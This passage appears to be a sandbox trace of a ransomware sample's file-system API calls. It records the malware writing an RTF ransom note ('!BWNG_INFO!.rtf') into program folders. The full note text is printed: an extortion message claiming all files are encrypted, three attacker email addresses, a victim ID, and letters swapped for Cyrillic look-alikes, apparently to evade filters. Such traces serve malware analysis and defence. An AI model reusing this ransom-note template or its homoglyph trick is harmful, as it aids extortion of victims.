\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n3Ð\x8aU", lpUsedDefaultChar=0x0) returned 14086 [0034.393] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.394] CloseHandle (hObject=0x1d4) returned 1 [0034.395] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\!bwng_info!.rtf")) returned 0xffffffff [0034.395] GetLastError () returned 0x2 [0034.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 